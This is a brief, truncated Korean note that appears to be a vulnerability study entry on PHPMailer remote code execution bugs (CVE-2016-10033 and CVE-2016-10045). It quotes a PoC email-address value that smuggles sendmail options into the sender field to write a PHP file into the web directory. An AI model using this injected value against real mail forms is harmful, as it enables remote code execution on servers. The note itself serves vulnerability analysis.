tt_test

1. 취약점 설명CVE-2016-10033 취약점 분석 참고 공격 유형 (벡터) 1) CVE-2016-10033 1) PHPMailer < 5.2.18 Remote Code Execution PoC Exploit (CVE-2016-10033)// Attacker's input coming from untrusted source such as $_GET , $_POST etc.// For example from a Contact form $email_from = '"attacker\" -oQ/tmp/ -X/var/www/cache/phpcode.php some"@email.com';$msg_body = ""; 2) CVE-2016-100452) Bypass / PHPMailer < 5.2.20 Remote..